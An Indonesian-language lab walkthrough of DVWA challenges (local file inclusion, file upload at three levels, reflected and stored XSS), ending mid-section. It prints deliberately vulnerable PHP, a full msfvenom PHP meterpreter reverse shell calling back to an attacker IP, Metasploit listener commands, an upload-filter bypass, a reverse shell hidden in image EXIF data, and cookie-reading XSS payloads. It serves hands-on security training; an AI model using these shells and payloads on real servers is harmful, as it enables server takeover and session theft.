![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-uT15NZNobc-fi-ZAV%2F-M-uUMR1l-Z-tLLm8mxU%2Fimage.png?alt=media\&token=ce65e06d-f99f-4486-92b4-6c471dd26d7f)

Validasi ini memiliki celah, yaitu kita bisa menggunakan protokol `file://` untuk melihat file yang ada di server lokal target. Server akan mengizinkannya, karena memang diawali dengan kata *"file"*.

Karena protokol ini hanya untuk melihat file yang ada di dalam server target, maka kita hanya bisa melakukan *Local File Inclusion*.

## Melakukan serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Langsung saja kita jalankan *payload* seperti berikut:

```http
?page=file:///etc/passwd
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-uT15NZNobc-fi-ZAV%2F-M-uUWlOL8CeCatRSQFo%2Fimage.png?alt=media\&token=b2ac58d6-5a79-4944-b199-bd60cf676789)

Yup! berhasil!😁

Kali ini saya hanya bisa melakukan *local file inclusion*. Tetapi tetap saja kita bisa melakukan RCE. Untuk mengetahui caranya anda bisa melihat pembahasan celah *file upload*.

Happy Hacking! 🍻


# File Upload Vulnerability

## Pengenalan

Berkenalan dengan Unrestricted File Upload

Celah keamanan **file upload** termasuk ke dalam celah yang berbahaya, karena bisa sampai mengambil alih server tersebut.

## Apa itu Celah Keamanan File Upload? <a href="#apa-itu-celah-keamanan-file-upload" id="apa-itu-celah-keamanan-file-upload"></a>

**File Upload** merupakan fitur dimana user bisa menggunggah sesuatu ke dalam server. Jika tidak diamankan, fitur ini bisa menjadi sangat berbahaya. Seseorang yang tidak bertanggung jawab, bisa saja menggunggah sesuatu yang bisa mengambil alih atau merusak server tersebut. Celah keamanan ini biasanya disebut *Unrestricted File Upload*.

## Bagaimana Cara Menutup Celah Ini? <a href="#bagaimana-cara-menutup-celah-ini" id="bagaimana-cara-menutup-celah-ini"></a>

Ada beberapa cara yang bisa, dilakukan yaitu diantaranya:

* Hanya mengizinkan ektensi file tertentu,
* Memerikan ektensi ganda (**file.php.png**),
* Memerika file tanpa nama file seperti **.htaccess** (di ASP.NET, periksa file konfigurasi seperti **web.config**).
* Ubah izin pada folder upload sehingga file di dalamnya tidak dapat dieksekusi,
* Dan jika memungkinkan, ganti nama file yang diunggah (biasanya *random*).


# Low

File Upload level Low on DVWA

Di bawah ini adalah *source-code* dari *file upload* level low di DVWA.

```bash
vulnerabilities/upload/source/low.php
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
​
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Terdapat form untuk melakukan upload file. Ketika saya coba meng-upload file kosong dengan ekstensi `.php`, maka file tersebut akan terkirim dan bisa diakses.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9EnyENxbgL1NFWuSm%2Fimage.png?alt=media\&token=797ea161-ad51-4031-b459-7a4d0c7af9df)

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9E8K19WpAD3gOWzBb%2Fimage.png?alt=media\&token=c5e6a8d4-f63f-4493-929d-90f95c90934d)

Terlihat bahwa tidak ada validasi untuk `.php` di sini, sehingga kita bisa menfaatkannya untuk menjalankan shell berbahaya.

## Melakukan Serangan (Upload Webshell)

Webshell merupakan sekumpulan script yang mampu mengeksekusi perintah shell dalam sebuah web server. Web Shell ini umumnya akan ditanam oleh para hacker dengan memanfaatkan celah keamanan pada website untuk selanjutnya dimanfaatkan untuk berbagai kepentingan si penanam shell. Ada banyak jenis-jenis web shell yang digunakan, kemampuannya pun berbeda-beda. Dibawah ini disediakan 2 jenis webshell yaitu webshell sederhana yang membuat backdoor command execution sederhana dan yang memiliki banyak fitur.

{% file src="/files/-McoklrUPv7WklOF-A5l" %}
Simple shell
{% endfile %}

{% file src="/files/-Md2OP7WJwGhGW7zMSdG" %}
b374k
{% endfile %}

Langkah berikutnya lakukan pengunggahan.\
**Apabila terdapat pembatasan maksimal file, bypass dengan cara mengedit MAX FILE pada request (dengan Burpsuite).**

## Melakukan Serangan (Msfvenom+Metasploit) <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Pertama-tama, saya akan membuat shell-nya terlebih dahulu menggunakan tool **msfvenom**.

Sebenarnya kita bisa saja menggunakan simple web shell, tetapi saya mencoba mengajak anda untuk menggunakan tool sebagai pengalaman baru.

```bash
msfvenom -p php/meterpreter/reverse_tcp lhost=172.17.0.1 lport=1337
```

Keterangan:

* `php/meterpreter/reverse_tcp` adalah payload yang akan saya gunakan.
* `lhost` berisi IP dari saya (sebagai peretas).
* `lport` berisi port yang akan saya gunakan.

Nanti akan muncul *script* PHP kurang lebih seperti berikut:

```bash
/*<?php /**/ error_reporting(0); $ip = '172.17.0.1'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
```

Selanjutnya, adalah membuat file (contohnya **shell.php**) dan memasukan *script* tersebut dengan menghilangkan komentar di awal (tanda `/*`).

```
shell.php<?php /**/ error_reporting(0); $ip = '172.17.0.1'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
```

Langkah **kedua** adalah meng-upload file tersebut ke web DVWA.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9RKAa0IUGAK6iIQAp%2Fimage.png?alt=media\&token=2726a27d-5c2e-433c-8bfc-dc2ddf0bf685)

Langkah **ketiga** adalah menyiapkan PC peretas untuk menjadi *listener* bagi shell yang telah dibuat dengan menggunakan **metasploit**.

```bash
msfconsolemsf5 > use multi/handlermsf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 172.17.0.1msf5 exploit(multi/handler) > set lport 1337msf5 exploit(multi/handler) > run
```

Langkah **keempat** adalah mengakses shell tersebut. Dan jika berhasil kita bisa me-*remote* server tersebut seperti gambar di bawah ini.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9TI0bks5UFeXZeyG5%2Fimage.png?alt=media\&token=fddd20e4-6bc7-4bbf-afc4-59a8859c53ad)

Selamat!

Happy Hacking! 🍻


# Medium

File Upload level Medium on DVWA

Di bawah ini adalah *source-code* dari *file upload* level medium di DVWA.

```php
vulnerabilities/upload/source/medium.php
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
​
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
​
    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {
​
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Jika kita melakukan hal yang sama seperti sebelumnya (meng-upload file ekstensi `.php`), maka akan muncul penolakan seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9UxXk3UZ5E9w6kqhM%2Fimage.png?alt=media\&token=6716d856-2c12-4d38-b7a3-4950bfe785df)

Ini karena pada level ini terdapat validasi terlebih dahulu, hanya ekstensi `JPEG` dan `PNG` saja yang diizinkan.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Setelah mencoba berbagai cara, akhirnya saya menemukan cara untuk mem-*bypass*-nya, yaitu dengan menggunakan Burpsuite.

**Pertama**, ubah nama **shell.php** yang sebelumnya kita buat menjadi **shell.php.png**.

**Kedua**, lakukan upload dan *intercept* *request* yang kita lakukan menggunakan Burpsuite.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9XRAJLawRkITmfpJH%2Fimage.png?alt=media\&token=7d0ef018-aa91-4218-b53b-3f274fda92d6)

Dan rubah `filename` nya menjadi **shell.php**.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9Xt-E31wFMymn6lNU%2Fimage.png?alt=media\&token=c75ea1ba-97c8-4942-a5d9-bf15c491d8c9)

Setelah itu matikan *intercept*-nya agar request terkirim, dan file tersebut akan berhasil di-upload ke server.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-94VToCJSSKq1KnNDv%2F-M-9RKAa0IUGAK6iIQAp%2Fimage.png?alt=media\&token=2726a27d-5c2e-433c-8bfc-dc2ddf0bf685)

Selanjutnya kita bisa menjalankan shell tersebut seperti sebelumnya.

Happy Hacking! 🍻


# High

File Upload level High on DVWA

Di bawah ini adalah *source-code* dari *file upload* level high di DVWA.

```php
vulnerabilities/upload/source/high.php
<?php
​
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
​
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
​
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {
​
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Kali ini terdapat tambahan fungsi [`getimagesize()`](https://www.geeksforgeeks.org/php-getimagesize-function/) pada validasi yang digunakan untuk memastikan bahwa file yang di-upload user memang lah gambar.

Menurut sepengetahuan saya saat ini, kali ini kita tidak bisa mem-*bypass* file *non-image* lagi.

Setelah berhari-hari mencari solusi, akhirnya saya menemukan jawabannya, yaitu dengan menyisipkan *script* PHP ke dalam EXIF data dari file gambar. Lalu gambar tersebut di-upload ke server target, dan selanjutnya *script* tersebut dijalankan melalui celah *local file inclusion*.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

**Pertama-tama**, siapkan gambar apa pun lalu sisipkan *script* menggunakan [EXIFTOOL](https://exiftool.org/) seperti berikut:

```
exiftool -DocumentName="<?php phpinfo(); die(); ?>" kucing.jpg  
```

Hasilnya, *script* tersebut telah tersimpan di *header* `Document Name` pada file gambar:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M00ui-BVGD011QicTVN%2Fimage.png?alt=media\&token=37754eb9-ae85-4fd3-9c35-0359ed41830e)

Jika kita mencoba menjalan *script* tersebut melalui PHP CLI, maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M00utc2SI2wMVU3v4Q1%2Fimage.png?alt=media\&token=22b0b54c-1747-4334-b0a0-f85ead4c8ec1)

Oke mantap! Selanjutnya, upload file tersebut lalu akses file tersebut melalui celah *local file inclusion*, dan hasilnya akan seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M00vZd41rlDUP2rXrHr%2Fimage.png?alt=media\&token=91aab757-52ad-4271-ac0c-76e316277b6d)

Terlihat fungsi [`phpinfo()`](https://www.php.net/manual/en/function.phpinfo.php) berhasil dijalankan. Dan selanjutnya kita akan mencoba melakukan *reverse shell* seperti pada level sebelumnya.

### Melakukan Backconnect <a href="#melakukan-backconnect" id="melakukan-backconnect"></a>

Pertama-tama, buat shell menggunakan msfvenom seperti pada level sebelumnya.

Selanjutnya kita sisipkan shell tersebut ke dalam EXIF data gambar, seperti berikut:

```bash
exiftool -DocumentName='<?php /**/ error_reporting(0); $ip = "172.17.0.1"; $port = 1337; if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port); $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") && ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } else { eval($b); } die(); __halt_compiler();' kucing.jpg
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M01-mOiJ9Il0DhuW-Nx%2Fimage.png?alt=media\&token=7a5252b7-5f7a-411f-8bc8-364ed3668a1d)

Pastikan komputer kita (sebagai peretas) telah menjadi *listener* dari *backconnect* tersebut. Lalu, upload file gambar tersebut dan akses melalui celah *local file inclusion*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M010J72b_SdPjT8wUJK%2Fimage.png?alt=media\&token=472290a5-2897-42cd-aaa4-766a59a77938)

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M00uNDVzgFg4JN4MUlq%2F-M010j22RacJaF4gX-nM%2Fimage.png?alt=media\&token=35a4e480-a481-43f5-b94f-0e481048cc78)

Jika berhasil, akan tampak seperti gambar di atas. Selamat! 😁

Huft! Banyak pengalaman yang menarik bagi saya di sini. Tetap semangat!

Happy Hacking! 🍻


# Cross Site Scripting (XSS)

## Pengertian

**XSS** atau ***Cross Site Scripting*** merupakan kode HTML atau Client Script yang diinjeksikan penyerang pada suatu website. Akibatnya penyerang dapat melewati keamanan di sisi klien, mendapatkan informasi sensitif, dan bahkan menyisipkan aplikasi berbahaya.&#x20;

Terdapat 3 jenis serangan XSS, yaitu: stored, reflected dan DOM-based.

## Jenis serangan cross site scripting

### **Stored XSS (Persistent XSS)**

Stored XSS merupakan jenis XSS yang paling merusak. Dalam stored XSS, skrip jahat yang disuntikkan akan disimpan secara permanen di server target, seperti database, forum pesan, visitor log, dan lain-lain.

### **Reflected XSS (Non-persistent XSS)**

Reflected XSS terjadi ketika skrip berbahaya dipantulkan dari web aplikasi ke browser korban.

### **DOM-based XSS**

Serangan ini terjadi jika web aplikasi menulis data ke Document Object Model (DOM) tanpa sanitization yang tepat. Penyerang dapat memanipulasi data ini untuk memasukkan konten XSS pada halaman web seperti kode Javascript yang berbahaya.<br>

## Bagaimana Cara Menutup Celah Ini? <a href="#bagaimana-cara-menutup-celah-ini" id="bagaimana-cara-menutup-celah-ini"></a>

Beberapa cara yang biasa digunakan adalah:

1. Validasi Data.&#x20;
2. Memberi filter pada karakter yang di-inputkan pengguna.&#x20;
3. Escaping.


# Reflected

Reflected XSS terjadi ketika skrip berbahaya dipantulkan dari web aplikasi ke browser korban.


# Low

XSS (Reflected) level Low on DVWA

Di bawah ini adalah *source-code* dari XSS (Reflected) level low di DVWA.

```php
vulnerabilities/xss_r/source/low.php
<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada halaman web tersebut tedapat form yang bisa kita *submit*. Jika kita mengisi nilai *"test<'>"*, maka akan muncul seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-mJXukCTI2M8lOI2EY%2F-M-nA5KC31tOCtls7IwF%2Fimage.png?alt=media\&token=9d621cb6-c1ea-4a01-97a7-0c2e3c7dd9a9)

Form tersebut menggunakan method `GET` dan jika kita *view source*, maka akan terlihat seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-mJXukCTI2M8lOI2EY%2F-M-nAN4Xss-JTYoFvGS7%2Fimage.png?alt=media\&token=2b1f3fc6-c31b-400a-b3e8-09d1edad8406)

Dari hasil di atas bisa kita simpulkan bahwa tidak ada validasi atau *encoding* untuk karakter `<`, `'`, dan `>`, sehingga kita bisa dengan mudah menyisipkan *script* XSS.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Karena inputan ini akan langsung menghasilkan output ke halaman web (HTML), maka kita akan coba menyisipkan *script* dengan *payload* seperti berikut:

```markup
<script>alert('Hacked')</script>
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzkZPo3zvmJtFO8Vysd%2F-LzkwAr6cLquegYQK_Uo%2Fimage.png?alt=media\&token=6d1bcd18-ba50-45ce-9b79-14773e1a80fc)

Dan *script* berhasil berjalan. Kenapa ini terjadi? Karena *script* yang kita sisipkan langsung ditampilkan oleh website tersebut. Untuk lebih memahaminya bisa kita lihat menggunakan *view source*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzkZPo3zvmJtFO8Vysd%2F-LzkwM6s4EP8trDSqmS7%2Fimage.png?alt=media\&token=eb1b1db9-8771-40fb-b4bf-eb0e7527c675)

Gimana? Mudahkan?😁

Kita juga bisa mendapatkan *cookie* dengan *payload* seperti berikut:

```
<script>alert(document.cookie)</script>
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzkZPo3zvmJtFO8Vysd%2F-Lzkx39hvpdvgZVD3rLX%2Fimage.png?alt=media\&token=b2c35c5b-a994-4b94-89db-200fea3be787)

Happy Hacking! 🍻


# Medium

XSS (Reflected) level Medium on DVWA

Di bawah ini adalah *source-code* dari XSS (Reflected) level medium di DVWA.

```php
vulnerabilities/xss_r/source/medium.php
<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
​
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini terdapat validasi untuk menghilangkan tag `<script>` pada inputan. Jika kita menggunakan *payload* sebelumnya, maka hasilnya akan seperti berikut:

```
<script>alert('Hacked')</script>
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzkZPo3zvmJtFO8Vysd%2F-LzkzWQ8_AwYblMLwHQV%2Fimage.png?alt=media\&token=90f08494-2b0a-450a-a11c-a66cab23994d)

Untuk mengatasi ini kita harus mencari cara untuk menjalankan JavaScript pada web tanpa menggunakan tag `<script>`.

Ada salah satu cara yang menjadi favorit saya saat ini yaitu menggunakan [HTML onload Event Attribute](https://www.w3schools.com/tags/ev_onload.asp).

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Sekarang kita akan membuat *payload* seperti berikut:

```markup
<body onload="alert('Hacked')">
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzkZPo3zvmJtFO8Vysd%2F-Lzl-bsT01Tj2v36O51i%2Fimage.png?alt=media\&token=5568c609-1ab8-4c55-9576-10222ebb8cf9)

Yup! Berhasil.😉​

Jika kita menggunakan *view source*, maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzkZPo3zvmJtFO8Vysd%2F-Lzl-x-NM8MPZeOstPlD%2Fimage.png?alt=media\&token=abdc46ee-414b-430a-b0d5-ccb0f02af498)

Terlihat *script* yang kita sisipkan berhasil dijalankan.

Happy Hacking! 🍻


# High

XSS (Reflected) level High on DVWA

Di bawah ini adalah *source-code* dari XSS (Reflected) level medium di DVWA.

```php
vulnerabilities/xss_r/source/high.php
<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
​
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada *source code* di atas terlihat bahwa *pattern* **"\<s\*c\*r\*i\*p\*t"** tidak diizinkan. Tetapi seperti pada level sebelumnya kita tidak menggunakan tag `<script>`. Sehingga kita masih bisa menggunakan *payload* yang sama seperti pada level sebelumnya.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Oke langsung saja kita gunakan *payload* sebelumnya.

```markup
<body onload="alert('Hacked')">
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-Lzl0Ol1wWn09EbcKb6X%2F-LzlC5uTUf0qji8Co3TP%2Fimage.png?alt=media\&token=82a9ed68-c752-44ea-9813-d9a8d5131aac)

Yup! Berhasil lagi. Mudah bukan?😁​

Tetap semangat! Happy Hacking! 🍻


# Stored

Stored XSS (Persistent XSS)

Stored XSS merupakan jenis XSS yang paling merusak. Dalam stored XSS, skrip jahat yang disuntikkan akan disimpan secara permanen di server target, seperti database, forum pesan, visitor log, dan lain-lain.


# Low

XSS (Stored) level Low on DVWA

Di bawah ini adalah *source-code* dari XSS (Stored) level low di DVWA.

```php
vulnerabilities/xss_s/source/low.php
<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
​
    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​
    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    //mysql_close();
}
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Terdapat form yang ketika saya coba menginputkan *"test<'>"* , maka hasilnya akan tersimpan di halaman tersebut.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-nX-buHPf2O5F5U5ij%2F-M-n_rPIfpysGcPJ5hZC%2Fimage.png?alt=media\&token=4ede71d2-b4b3-44ad-b31b-4219fa87b1b5)

Dari informasi yang bisa kita dapatkan dari *view source*, kita bisa mengetahui bahwa tidak ada validasi untuk HTML spesial karakter di sini, sehingga kita bisa dengan mudah melakukan serangan XSS.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-nX-buHPf2O5F5U5ij%2F-M-n_iH5bVKGX6-YSV7C%2Fimage.png?alt=media\&token=e0607b57-3650-4431-be2d-8b19fd1d50f9)

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Kita coba dengan *payload* yang pertama, yaitu:

```markup
<script>alert('Hacked')</script>
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzpgZF_KC4sPanQSj0r%2F-LzptT9P5ahFBIoCh03i%2Fimage.png?alt=media\&token=66363ca0-a30b-4cda-930e-b39b65ede063)

Dan berhasil!😊​

Jika dilihat menggunakan *view source*, maka akan terlihat seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzpgZF_KC4sPanQSj0r%2F-LzptgeOaQqcRi_wPL6o%2Fimage.png?alt=media\&token=6740a9cc-8369-4c7a-acb3-da7d762be6b1)

Seperti biasa kita juga bisa mengambil *cookie* dengan *payload* berikut:

```php
<script>alert(document.cookie)</script>
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzpgZF_KC4sPanQSj0r%2F-Lzpu2PDcA8d6B84hqDy%2Fimage.png?alt=media\&token=96d81d3b-6ece-42ef-88ec-58db4106317f)

Yup! Jika halaman ini di-*refresh*, maka *payload* tersebut akan dijalankan lagi karena sekarang *payload* tersimpan (*stored*) pada halaman web tersebut.

Happy Hacking! 🍻


# Medium

XSS (Stored) level Medium on DVWA

Di bawah ini adalah *source-code* dari XSS (Stored) level medium di DVWA.

```php
vulnerabilities/xss_s/source/medium.php
<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
